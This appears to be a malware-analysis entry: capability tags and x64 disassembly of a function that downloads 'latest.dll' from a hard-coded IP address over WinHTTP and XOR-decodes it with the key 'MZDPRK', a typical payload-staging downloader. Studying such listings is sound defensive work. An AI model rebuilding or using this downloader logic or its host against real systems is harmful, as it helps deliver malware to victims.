Function at 0x180001000
Capabilities:
Encode data using xor
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
push rbx
push rdi
push r12
lea rbp, [rsp - 0x3e8]
sub rsp, 0x4e8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3d0], rax
mov rdi, rdx
lea rcx, str.fa9ad6d0_1501_4d33_ad47_5b57ef08f51e
xor ebx, ebx
xor edx, edx
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r12, rax
test rax, rax
jne 0x18000106d
lea r9d, [rbx + 0x10]
xor ecx, ecx
lea r8, [0x1800032d0]
lea rdx, str.Unable_to_create_session.
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x180001378
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0x1d0]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
lea r9, [rsp + 0x50]
xor eax, eax
lea rcx, str.http:__111.180.196.252:8085_latest.dll
mov qword [rbp - 0x50], rax
xor r8d, r8d
lea rax, [rbp - 0x30]
xor edx, edx
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x68], rax
lea rax, [rbp + 0x1d0]
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x50], 0x68
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x70], pe_nt_image_headers64
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x68], rax
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x60], pe_nt_image_headers64
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
test eax, eax
jne 0x180001126
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, [0x1800032d0]
lea rdx, str.URL_parsing_failed.
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
jmp 0x180001378
movzx r8d, word [rsp + 0x74]
lea rdx, [rbp - 0x30]
xor r9d, r9d
mov qword [rsp + 0x520], r13
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r13, rax
test rax, rax
jne 0x180001176
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, [0x1800032d0]
lea rdx, str.URL_creating_failed.
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
jmp 0x180001370
mov edx, 0x1bb
mov qword [rsp + 0x528], r14
cmp word [rsp + 0x74], dx
lea r8, [rbp + 0x1d0]
mov eax, ebx
lea rdx, [0x180003380]
mov ecx, 0x800000
cmove eax, ecx
xor r9d, r9d
mov dword [rsp + 0x30], eax
mov rcx, r13
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r14, rax
test rax, rax
jne 0x1800011de
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, [0x1800032d0]
lea rdx, str.Failed_to_open_connection.
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x18000123d
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x180001209
lea rdx, str.Failed_to_send_request.
jmp 0x18000121f
xor edx, edx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
jne 0x180001256
lea rdx, str.Failed_to_receive.
lea r8, [0x1800032d0]
mov r9d, 0x10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
jmp 0x180001368
mov qword [rsp + 0x510], rsi
mov qword [rsp + 0x4e0], r15
mov r15, rbx
mov dword [rbp - 0x40], ebx
mov dword [rdi], ebx
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], ebx
mov rcx, r14
mov rsi, 0xffffffffffffffff
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x1800012e8
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x1800012e8
add eax, dword [rdi]
mov rcx, r15
mov edx, eax
cmovb rdx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov rsi, rax
test rax, rax
je 0x1800012dc
mov edx, dword [rdi]
lea r9, [rbp - 0x40]
mov r8d, dword [rsp + 0x40]
add rdx, rax
mov rcx, r14
mov r15, rax
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x1800012d7
mov eax, dword [rbp - 0x40]
add dword [rdi], eax
cmp dword [rsp + 0x40], ebx
jbe 0x1800012e8
jmp 0x18000126e
mov rcx, rsi
jmp 0x1800012df
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r15, rbx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [rdi]
mov rsi, qword [rsp + 0x510]
test eax, eax
je 0x18000135d
mov r8, r15
lea r11, str.MZDPRK
mov r9d, eax
movabs r10, 0xaaaaaaaaaaaaaaab
nop dword [rax + rax]
mov rcx, rbx
lea r8, [r8 + 1]
mov rax, r10
mul rbx
inc rbx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, byte [rcx + r11]
xor byte [r8 - 1], al
sub r9, 1
jne 0x180001330
mov rax, r15
mov r15, qword [rsp + 0x4e0]
mov r14, qword [rsp + 0x528]
mov r13, qword [rsp + 0x520]
mov rcx, qword [rbp + 0x3d0]
xor rcx, rsp
call fcn.1800020d0
add rsp, 0x4e8
pop r12
pop rdi
pop rbx
pop rbp
ret